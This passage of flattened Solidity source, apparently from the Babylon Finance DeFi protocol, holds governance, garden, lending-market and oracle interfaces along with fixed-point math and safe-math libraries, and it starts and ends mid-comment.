used. */ event VoteCast(address indexed voter, uint256 proposalId, uint8 support, uint256 weight, string reason); /** * @notice module:core * @dev Name of the governor instance (used in building the ERC712 domain separator). */ function name() public view virtual returns (string memory); /** * @notice module:core * @dev Version of the governor instance (used in building the ERC712 domain separator). Default: "1" */ function version() public view virtual returns (string memory); function proposals(uint256 _proposalId) public view virtual returns ( uint256, address, uint256, uint256, uint256, uint256, uint256, uint256, bool, bool ); /** * @notice module:voting * @dev A description of the possible `support` values for {castVote} and the way these votes are counted, meant to * be consumed by UIs to show correct vote options and interpret the results. The string is a URL-encoded sequence of * key-value pairs that each describe one aspect, for example `support=bravo&quorum=for,abstain`. * * There are 2 standard keys: `support` and `quorum`. * * - `support=bravo` refers to the vote options 0 = Against, 1 = For, 2 = Abstain, as in `GovernorBravo`. * - `quorum=bravo` means that only For votes are counted towards quorum. * - `quorum=for,abstain` means that both For and Abstain votes are counted towards quorum. * * NOTE: The string can be decoded by the standard * https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams[`URLSearchParams`] * JavaScript class. */ // solhint-disable-next-line func-name-mixedcase function COUNTING_MODE() public pure virtual returns (string memory); /** * @notice module:core * @dev Hashing function used to (re)build the proposal id from the proposal details.. */ function hashProposal( address[] calldata targets, uint256[] calldata values, bytes[] calldata calldatas, bytes32 descriptionHash ) public pure virtual returns (uint256); /** * @notice module:core * @dev Current state of a proposal, following Compound's convention */ function state(uint256 proposalId) public view virtual returns (ProposalState); /** * @notice module:core * @dev Block number used to retrieve user's votes and quorum. As per Compound's Comp and OpenZeppelin's * ERC20Votes, the snapshot is performed at the end of this block. Hence, voting for this proposal starts at the * beginning of the following block. */ function proposalSnapshot(uint256 proposalId) public view virtual returns (uint256); /** * @notice module:core * @dev Block number at which votes close. Votes close at the end of this block, so it is possible to cast a vote * during this block. */ function proposalDeadline(uint256 proposalId) public view virtual returns (uint256); /** * @notice module:user-config * @dev Delay, in number of block, between the proposal is created and the vote starts. This can be increassed to * leave time for users to buy voting power, of delegate it, before the voting of a proposal starts. */ function votingDelay() public view virtual returns (uint256); /** * @notice module:user-config * @dev Delay, in number of blocks, between the vote start and vote ends. * * NOTE: The {votingDelay} can delay the start of the vote. This must be considered when setting the voting * duration compared to the voting delay. */ function votingPeriod() public view virtual returns (uint256); /** * @notice module:user-config * @dev Minimum number of cast voted required for a proposal to be successful. * * Note: The `blockNumber` parameter corresponds to the snaphot used for counting vote. This allows to scale the * quroum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}). */ function quorum(uint256 blockNumber) public view virtual returns (uint256); /** * @notice module:reputation * @dev Voting power of an `account` at a specific `blockNumber`. * * Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or * multiple), {ERC20Votes} tokens. */ function getVotes(address account, uint256 blockNumber) public view virtual returns (uint256); /** * @notice module:voting * @dev Returns weither `account` has cast a vote on `proposalId`. */ function hasVoted(uint256 proposalId, address account) public view virtual returns (bool); /** * @dev Create a new proposal. Vote start {IGovernor-votingDelay} blocks after the proposal is created and ends * {IGovernor-votingPeriod} blocks after the voting starts. * * Emits a {ProposalCreated} event. */ function propose( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description ) public virtual returns (uint256 proposalId); /** * @dev Execute a successful proposal. This requires the quorum to be reached, the vote to be successful, and the * deadline to be reached. * * Emits a {ProposalExecuted} event. * * Note: some module can modify the requirements for execution, for example by adding an additional timelock. */ function execute( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) public payable virtual returns (uint256 proposalId); /** * @dev Cast a vote * * Emits a {VoteCast} event. */ function castVote(uint256 proposalId, uint8 support) public virtual returns (uint256 balance); /** * @dev Cast a vote with a reason * * Emits a {VoteCast} event. */ function castVoteWithReason( uint256 proposalId, uint8 support, string calldata reason ) public virtual returns (uint256 balance); /** * @dev Cast a vote using the user cryptographic signature. * * Emits a {VoteCast} event. */ function castVoteBySig( uint256 proposalId, uint8 support, uint8 v, bytes32 r, bytes32 s ) public virtual returns (uint256 balance); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import {IERC1271} from '../interfaces/IERC1271.sol'; import {IBabController} from './IBabController.sol'; /** * @title IStrategyGarden * * Interface for functions of the garden */ interface IStrategyGarden { /* ============ Write ============ */ function finalizeStrategy( uint256 _profits, int256 _returns, uint256 _burningAmount ) external; function allocateCapitalToStrategy(uint256 _capital) external; function expireCandidateStrategy(address _strategy) external; function addStrategy( string memory _name, string memory _symbol, uint256[] calldata _stratParams, uint8[] calldata _opTypes, address[] calldata _opIntegrations, bytes calldata _opEncodedDatas ) external; function updateStrategyRewards( address _strategy, uint256 _newTotalAmount, uint256 _newCapitalReturned ) external; function payKeeper(address payable _keeper, uint256 _fee) external; } /** * @title IAdminGarden * * Interface for amdin functions of the Garden */ interface IAdminGarden { /* ============ Write ============ */ function initialize( address _reserveAsset, IBabController _controller, address _creator, string memory _name, string memory _symbol, uint256[] calldata _gardenParams, uint256 _initialContribution, bool[] memory _publicGardenStrategistsStewards ) external payable; function makeGardenPublic() external; function transferCreatorRights(address _newCreator, uint8 _index) external; function addExtraCreators(address[4] memory _newCreators) external; function setPublicRights(bool _publicStrategist, bool _publicStewards) external; function delegateVotes(address _token, address _address) external; function updateCreators(address _newCreator, address[4] memory _newCreators) external; function updateGardenParams(uint256[12] memory _newParams) external; function verifyGarden(uint256 _verifiedCategory) external; function resetHardlock(uint256 _hardlockStartsAt) external; } /** * @title IGarden * * Interface for operating with a Garden. */ interface ICoreGarden { /* ============ Constructor ============ */ /* ============ View ============ */ function privateGarden() external view returns (bool); function publicStrategists() external view returns (bool); function publicStewards() external view returns (bool); function controller() external view returns (IBabController); function creator() external view returns (address); function isGardenStrategy(address _strategy) external view returns (bool); function getContributor(address _contributor) external view returns ( uint256 lastDepositAt, uint256 initialDepositAt, uint256 claimedAt, uint256 claimedBABL, uint256 claimedRewards, uint256 withdrawnSince, uint256 totalDeposits, uint256 nonce, uint256 lockedBalance ); function reserveAsset() external view returns (address); function verifiedCategory() external view returns (uint256); function canMintNftAfter() external view returns (uint256); function hardlockStartsAt() external view returns (uint256); function totalContributors() external view returns (uint256); function gardenInitializedAt() external view returns (uint256); function minContribution() external view returns (uint256); function depositHardlock() external view returns (uint256); function minLiquidityAsset() external view returns (uint256); function minStrategyDuration() external view returns (uint256); function maxStrategyDuration() external view returns (uint256); function reserveAssetRewardsSetAside() external view returns (uint256); function absoluteReturns() external view returns (int256); function totalStake() external view returns (uint256); function minVotesQuorum() external view returns (uint256); function minVoters() external view returns (uint256); function maxDepositLimit() external view returns (uint256); function strategyCooldownPeriod() external view returns (uint256); function getStrategies() external view returns (address[] memory); function extraCreators(uint256 index) external view returns (address); function getFinalizedStrategies() external view returns (address[] memory); function strategyMapping(address _strategy) external view returns (bool); function keeperDebt() external view returns (uint256); function totalKeeperFees() external view returns (uint256); function lastPricePerShare() external view returns (uint256); function lastPricePerShareTS() external view returns (uint256); function pricePerShareDecayRate() external view returns (uint256); function pricePerShareDelta() external view returns (uint256); /* ============ Write ============ */ function deposit( uint256 _amountIn, uint256 _minAmountOut, address _to, address _referrer ) external payable; function depositBySig( uint256 _amountIn, uint256 _minAmountOut, uint256 _nonce, uint256 _maxFee, address _to, uint256 _pricePerShare, uint256 _fee, address _signer, address _referrer, bytes memory signature ) external; function withdraw( uint256 _amountIn, uint256 _minAmountOut, address payable _to, bool _withPenalty, address _unwindStrategy ) external; function withdrawBySig( uint256 _amountIn, uint256 _minAmountOut, uint256 _nonce, uint256 _maxFee, bool _withPenalty, address _unwindStrategy, uint256 _pricePerShare, uint256 _strategyNAV, uint256 _fee, address _signer, bytes memory signature ) external; function claimReturns(address[] calldata _finalizedStrategies) external; function claimAndStakeReturns(uint256 _minAmountOut, address[] calldata _finalizedStrategies) external; function claimRewardsBySig( uint256 _babl, uint256 _profits, uint256 _nonce, uint256 _maxFee, uint256 _fee, address signer, bytes memory signature ) external; function claimAndStakeRewardsBySig( uint256 _babl, uint256 _profits, uint256 _minAmountOut, uint256 _nonce, uint256 _nonceHeart, uint256 _maxFee, uint256 _pricePerShare, uint256 _fee, address _signer, bytes memory _signature ) external; function stakeBySig( uint256 _amountIn, uint256 _profits, uint256 _minAmountOut, uint256 _nonce, uint256 _nonceHeart, uint256 _maxFee, address _to, uint256 _pricePerShare, address _signer, bytes memory _signature ) external; function claimNFT() external; } interface IERC20Metadata { function name() external view returns (string memory); } interface IGarden is ICoreGarden, IAdminGarden, IStrategyGarden, IERC20, IERC20Metadata, IERC1271 { struct Contributor { uint256 lastDepositAt; uint256 initialDepositAt; uint256 claimedAt; uint256 claimedBABL; uint256 claimedRewards; uint256 withdrawnSince; uint256 totalDeposits; uint256 nonce; uint256 lockedBalance; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {IGarden} from './IGarden.sol'; /** * @title IHeart * @author Babylon Finance * * Interface for interacting with the Heart */ interface IHeart { // View functions function getVotedGardens() external view returns (address[] memory); function heartGarden() external view returns (IGarden); function getGardenWeights() external view returns (uint256[] memory); function minAmounts(address _reserve) external view returns (uint256); function assetToCToken(address _asset) external view returns (address); function bondAssets(address _asset) external view returns (uint256); function assetToLend() external view returns (address); function assetForPurchases() external view returns (address); function lastPumpAt() external view returns (uint256); function lastVotesAt() external view returns (uint256); function tradeSlippage() external view returns (uint256); function weeklyRewardAmount() external view returns (uint256); function bablRewardLeft() external view returns (uint256); function getFeeDistributionWeights() external view returns (uint256[] memory); function getTotalStats() external view returns (uint256[7] memory); function votedGardens(uint256 _index) external view returns (address); function gardenWeights(uint256 _index) external view returns (uint256); function feeDistributionWeights(uint256 _index) external view returns (uint256); function totalStats(uint256 _index) external view returns (uint256); // Non-view function pump() external; function voteProposal(uint256 _proposalId, bool _isApprove) external; function resolveGardenVotesAndPump(address[] memory _gardens, uint256[] memory _weights) external; function resolveGardenVotes(address[] memory _gardens, uint256[] memory _weights) external; function updateMarkets() external; function setHeartGardenAddress(address _heartGarden) external; function updateFeeWeights(uint256[] calldata _feeWeights) external; function updateAssetToLend(address _assetToLend) external; function updateAssetToPurchase(address _purchaseAsset) external; function updateBond(address _assetToBond, uint256 _bondDiscount) external; function lendFusePool(address _assetToLend, uint256 _lendAmount) external; function borrowFusePool(address _assetToBorrow, uint256 _borrowAmount) external; function repayFusePool(address _borrowedAsset, uint256 _amountToRepay) external; function protectBABL( uint256 _bablPriceProtectionAt, uint256 _bablPrice, uint256 _pricePurchasingAsset, uint256 _slippage, address _hopToken ) external; function trade( address _fromAsset, address _toAsset, uint256 _fromAmount, uint256 _minAmount ) external; function sellWantedAssetToHeart(address _assetToSell, uint256 _amountToSell) external; function addReward(uint256 _bablAmount, uint256 _weeklyRate) external; function setMinTradeAmount(address _asset, uint256 _minAmount) external; function setTradeSlippage(uint256 _tradeSlippage) external; function bondAsset( address _assetToBond, uint256 _amountToBond, uint256 _minAmountOut, address _referrer ) external; function bondAssetBySig( address _assetToBond, uint256 _amountToBond, uint256 _amountIn, uint256 _minAmountOut, uint256 _nonce, uint256 _maxFee, uint256 _priceInBABL, uint256 _pricePerShare, uint256 _fee, address _contributor, address _referrer, bytes memory _signature ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 wad) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface ICToken is IERC20 { function mint(uint256 mintAmount) external returns (uint256); function redeem(uint256 redeemTokens) external returns (uint256); function accrueInterest() external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function exchangeRateStored() external view returns (uint256); function getCash() external view returns (uint256); function borrowRatePerBlock() external view returns (uint256); function totalBorrows() external view returns (uint256); function underlying() external view returns (address); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function repayBorrowBehalf(address borrower, uint256 amount) external payable returns (uint256); function borrowBalanceCurrent(address account) external view returns (uint256); function supplyRatePerBlock() external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; interface ICEther { function mint() external payable; function borrow(uint256 borrowAmount) external returns (uint256); function redeem(uint256 redeemTokens) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function repayBorrow() external payable; function getCash() external view returns (uint256); function repayBorrowBehalf(address borrower) external payable; function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function exchangeRateCurrent() external returns (uint256); function supplyRatePerBlock() external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; interface IComptroller { /** * @notice Marker function used for light validation when updating the comptroller of a market * @dev Implementations should simply return true. * @return true */ function isComptroller() external view returns (bool); function markets(address _cToken) external view returns (bool, uint256); function getRewardsDistributors() external view returns (address[] memory); /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); function getAllMarkets() external view returns (address[] memory); function _borrowGuardianPaused() external view returns (bool); function borrowGuardianPaused(address _asset) external view returns (bool); function borrowCaps(address _asset) external view returns (uint256); function compAccrued(address holder) external view returns (uint256); /*** Policy Hooks ***/ function getAccountLiquidity(address account) external view returns ( uint256, uint256, uint256 ); function getAssetsIn(address account) external view returns (address[] memory); function mintAllowed( address cToken, address minter, uint256 mintAmount ) external returns (uint256); function mintVerify( address cToken, address minter, uint256 mintAmount, uint256 mintTokens ) external; function redeemAllowed( address cToken, address redeemer, uint256 redeemTokens ) external returns (uint256); function redeemVerify( address cToken, address redeemer, uint256 redeemAmount, uint256 redeemTokens ) external; function borrowAllowed( address cToken, address borrower, uint256 borrowAmount ) external returns (uint256); function borrowVerify( address cToken, address borrower, uint256 borrowAmount ) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint256 repayAmount ) external returns (uint256); function repayBorrowVerify( address cToken, address payer, address borrower, uint256 repayAmount, uint256 borrowerIndex ) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount ) external returns (uint256); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount, uint256 seizeTokens ) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external; function transferAllowed( address cToken, address src, address dst, uint256 transferTokens ) external returns (uint256); function transferVerify( address cToken, address src, address dst, uint256 transferTokens ) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint256 repayAmount ) external view returns (uint256, uint256); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {ITokenIdentifier} from './ITokenIdentifier.sol'; /** * @title IPriceOracle * @author Babylon Finance * * Interface for interacting with PriceOracle */ interface IPriceOracle { /* ============ Functions ============ */ function getPrice(address _assetOne, address _assetTwo) external view returns (uint256); function getPriceNAV(address _assetOne, address _assetTwo) external view returns (uint256); function updateReserves(address[] memory list) external; function updateMaxTwapDeviation(int24 _maxTwapDeviation) external; function updateTokenIdentifier(ITokenIdentifier _tokenIdentifier) external; function getCompoundExchangeRate(address _asset, address _finalAsset) external view returns (uint256); function getCreamExchangeRate(address _asset, address _finalAsset) external view returns (uint256); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {ITradeIntegration} from './ITradeIntegration.sol'; /** * @title IIshtarGate * @author Babylon Finance * * Interface for interacting with the Gate Guestlist NFT */ interface IMasterSwapper is ITradeIntegration { /* ============ Functions ============ */ function isTradeIntegration(address _integration) external view returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface IVoteToken { function delegate(address delegatee) external; function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s, bool prefix ) external; function getCurrentVotes(address account) external view returns (uint96); function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96); function getMyDelegatee() external view returns (address); function getDelegatee(address account) external view returns (address); function getCheckpoints(address account, uint32 id) external view returns (uint32 fromBlock, uint96 votes); function getNumberOfCheckpoints(address account) external view returns (uint32); } interface IVoteTokenWithERC20 is IVoteToken, IERC20 {} // SPDX-License-Identifier: MIT pragma solidity 0.7.6; /** * @dev Interface of the ERC1271 standard signature validation method for * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271]. * */ interface IERC1271 { /** * @dev Should return whether the signature provided is valid for the provided data * @param hash Hash of the data to be signed * @param signature Signature byte array associated with _data */ function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue); } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.7.6; import {SignedSafeMath} from '@openzeppelin/contracts/math/SignedSafeMath.sol'; import {LowGasSafeMath} from './LowGasSafeMath.sol'; /** * @title PreciseUnitMath * @author Set Protocol * * Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from * dYdX's BaseMath library. * * CHANGELOG: * - 9/21/20: Added safePower function */ library PreciseUnitMath { using LowGasSafeMath for uint256; using SignedSafeMath for int256; // The number One in precise units. uint256 internal constant PRECISE_UNIT = 10**18; int256 internal constant PRECISE_UNIT_INT = 10**18; // Max unsigned integer value uint256 internal constant MAX_UINT_256 = type(uint256).max; // Max and min signed integer value int256 internal constant MAX_INT_256 = type(int256).max; int256 internal constant MIN_INT_256 = type(int256).min; /** * @dev Getter function since constants can't be read directly from libraries. */ function decimals() internal pure returns (uint256) { return 18; } /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnit() internal pure returns (uint256) { return PRECISE_UNIT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnitInt() internal pure returns (int256) { return PRECISE_UNIT_INT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxUint256() internal pure returns (uint256) { return MAX_UINT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxInt256() internal pure returns (int256) { return MAX_INT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function minInt256() internal pure returns (int256) { return MIN_INT_256; } /** * @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(b).div(PRECISE_UNIT); } /** * @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the * significand of a number with 18 decimals precision. */ function preciseMul(int256 a, int256 b) internal pure returns (int256) { return a.mul(b).div(PRECISE_UNIT_INT); } /** * @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } return a.mul(b).sub(1).div(PRECISE_UNIT).add(1); } /** * @dev Divides value a by value b (result is rounded down). */ function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(PRECISE_UNIT).div(b); } /** * @dev Divides value a by value b (result is rounded towards 0). */ function preciseDiv(int256 a, int256 b) internal pure returns (int256) { return a.mul(PRECISE_UNIT_INT).div(b); } /** * @dev Divides value a by value b (result is rounded up or away from 0). */ function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, 'Cant divide by 0'); return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0; } /** * @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0). */ function divDown(int256 a, int256 b) internal pure returns (int256) { require(b != 0, 'Cant divide by 0'); require(a != MIN_INT_256 || b != -1, 'Invalid input'); int256 result = a.div(b); if (a ^ b < 0 && a % b != 0) { result -= 1; } return result; } /** * @dev Multiplies value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(b), PRECISE_UNIT_INT); } /** * @dev Divides value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(PRECISE_UNIT_INT), b); } /** * @dev Performs the power on a specified value, reverts on overflow. */ function safePower(uint256 a, uint256 pow) internal pure returns (uint256) { require(a > 0, 'Value must be positive'); uint256 result = 1; for (uint256 i = 0; i < pow; i++) { uint256 previousResult = result; // Using safemath multiplication prevents overflows result = previousResult.mul(a); } return result; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {LowGasSafeMath} from '../lib/LowGasSafeMath.sol'; import {ERC20} from '@openzeppelin/contracts/token/ERC20/ERC20.sol'; library SafeDecimalMath { using LowGasSafeMath for uint256; /* Number of decimal places in the representations. */ uint8 internal constant decimals = 18; /* The number representing 1.0. */ uint256 internal constant UNIT = 10**uint256(decimals); /** * @return Provides an interface to UNIT. */ function unit() internal pure returns (uint256) { return UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint256 x, uint256 y) internal pure returns (uint256) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint256 x, uint256 y, uint256 precisionUnit ) private pure returns (uint256) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint256 quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint256 x, uint256 y) internal pure returns (uint256) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint256 x, uint256 y) internal pure returns (uint256) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint256 x, uint256 y, uint256 precisionUnit ) private pure returns (uint256) { uint256 resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint256 x, uint256 y) internal pure returns (uint256) { return _divideDecimalRound(x, y, UNIT); } /** * Normalizing amount decimals between tokens * @param _from ERC20 asset address * @param _to ERC20 asset address * @param _amount Value _to normalize (e.g. capital) */ function normalizeAmountTokens( address _from, address _to, uint256 _amount ) internal view returns (uint256) { uint256 fromDecimals = _isETH(_from) ? 18 : ERC20(_from).decimals(); uint256 toDecimals = _isETH(_to) ? 18 : ERC20(_to).decimals(); if (fromDecimals == toDecimals) { return _amount; } if (toDecimals > fromDecimals) { return _amount.mul(10**(toDecimals - (fromDecimals))); } return _amount.div(10**(fromDecimals - (toDecimals))); } function _isETH(address _address) internal pure returns (bool) { return _address == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE || _address == address(0); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, 'SafeMath: division by zero'); return a / b; } } // SPDX-License-Identifier: Apache-2.0 /* Original version by Synthetix.io https://docs.synthetix.io/contracts/source/libraries/safedecimalmath Adapted by Babylon Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.7.6; // solhint-disable /** * @notice Forked from https://github.com/balancer-labs/balancer-core-v2/blob/master/contracts/lib/helpers/BalancerErrors.sol * @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are * supported. */ function _require(bool condition, uint256 errorCode) pure { if (!condition) _revert(errorCode); } /** * @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported. */ function _revert(uint256 errorCode) pure { // We're going to dynamically create a revert string based on the error code, with the following format: // 'BAB#{errorCode}' // where the code is left-padded with zeroes to three digits (so they range from 000 to 999). // // We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a // number (8 to 16 bits) than the individual string characters. // // The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a // much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a // safe place to rely on it without worrying about how its usage might affect e.g. memory contents. assembly { // First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999 // range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for // the '0' character. let units := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let tenths := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let hundreds := add(mod(errorCode, 10), 0x30) // With the individual characters, we can now construct the full string. The "BAB#" part is a known constant // (0x42414223): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the // characters to it, each shifted by a multiple of 8. // The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits // per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte // array). let revertReason := shl(200, add(0x42414223000000, add(add(units, shl(8, tenths)), shl(16, hundreds)))) // We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded // message will have the following layout: // [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ] // The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We // also write zeroes to the next 28 bytes of memory, but those are about to be overwritten. mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Next is the offset to the location of the string, which will be placed immediately after (20 bytes away). mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020) // The string length is fixed: 7 characters. mstore(0x24, 7) // Finally, the string itself is stored. mstore(0x44, revertReason) // Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of // the encoded message is therefore 4 + 32 + 32 